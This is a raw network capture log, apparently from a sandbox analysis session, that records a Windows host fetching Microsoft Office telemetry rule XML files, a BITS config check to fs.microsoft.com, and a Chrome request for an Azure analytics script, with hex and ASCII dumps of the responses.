2024-11-24 04:11:55 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:55 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 14aff01d-f01e-005d-5831-3d13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041155Z-174c587ffdfn4nhwhC1TEB2nbc000000040000000000a0r0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:56 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:57 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:58 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: dc5ae1d1-201e-0096-3d45-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041158Z-178bfbc474bv7whqhC1NYC1fg400000005f0000000006nuy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:58 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:57 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:58 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 6b04d5e8-e01e-000c-65ad-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041158Z-174c587ffdfx984chC1TEB676g000000040g0000000011a0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:58 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:57 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:58 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041158Z-178bfbc474bpnd5vhC1NYC4vr400000005h0000000001mdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:58 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:57 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:58 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 2c6bdbd8-801e-0035-0204-3e752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041158Z-178bfbc474bvjk8shC1NYC83ns0000000590000000009n9z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:58 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:57 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:58 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4857c71c-401e-0067-7e3a-3c09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041158Z-15b8b599d889gj5whC1TEBfyk000000003u0000000003rxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:58 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:00 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:00 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:00 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041200Z-178bfbc474bv587zhC1NYCny5w000000057g00000000f0uc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:12:00 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:00 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:00 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:00 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041200Z-178bfbc474b9fdhphC1NYCac0n00000005a000000000dr40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:12:00 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:00 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:00 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041200Z-178bfbc474bfw4gbhC1NYCunf400000005cg00000000eqnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:00 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:00 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:00 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: c6f64b36-301e-0000-4706-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041200Z-178bfbc474bxkclvhC1NYC69g400000005dg000000005rhh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:00 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:00 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:12:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:12:00 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 6dd5ded1-501e-0078-0f57-3c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041200Z-15b8b599d88hr8sfhC1TEBbca400000003w0000000003bv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:12:00 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	49816	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:00 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-24 04:12:00 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=192114 Date: Sun, 24 Nov 2024 04:12:00 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	49820	13.107.246.63	443	6952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:12:02 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
